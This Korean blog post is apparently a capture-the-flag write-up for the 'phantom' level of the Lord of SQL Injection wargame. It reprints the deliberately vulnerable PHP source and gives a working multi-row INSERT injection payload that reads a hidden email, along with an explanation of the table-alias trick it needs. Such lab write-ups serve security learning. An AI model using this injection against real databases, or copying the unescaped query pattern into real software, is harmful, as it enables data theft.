728x90
ip | |
127.0.0.1 | ************ |
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
우선 no=0, 내 공인 ip, joinmail 값을 삽입한다.
그 후 no=1 또는 내 공인 ip인 행들을 조회하는데 no=1인 행은 email을 ************로 출력한다.
처음 상단에 출력되는 127.0.0.1과 *************이 no=1에 해당하는 ip와 email이며 이 email을 알아내야 풀린다.
insert 부분을 조작하여 joinemail에서 no=1인 email을 조회하여 삽입할 수 있다.
답: ?joinmail=abc'),(0,'공인 ip',(select email from prob_phantom as b where no=1))%23
먼저 insert into 테이블 values(1,ip1,email1),(2,ip2,email2); 형식으로 여러 행의 값들을 한 번에 삽입가능하다.
select문의 from 뒤에 as b로 테이블 이름을 재명명한다. b는 임의의 값이며 as b가 없으면
ERROR 1093 (HY000): You can't specify target table 'prob_phantom' for update in FROM clause 이런 에러가 뜰 것이다.
insert 대상 테이블인 prob_phantom을 내부 쿼리에서 select 대상 테이블로 사용 불가능해서 뜨는것 같다.
그래서 as를 이용해 테이블 이름을 바꿔줘야한다.
728x90
'Lord of SQL Injection' 카테고리의 다른 글
zombie (0) | 2023.01.03 |
---|---|
ouroboros (0) | 2023.01.03 |
frankenstein (2) | 2023.01.02 |
blue_dragon (0) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |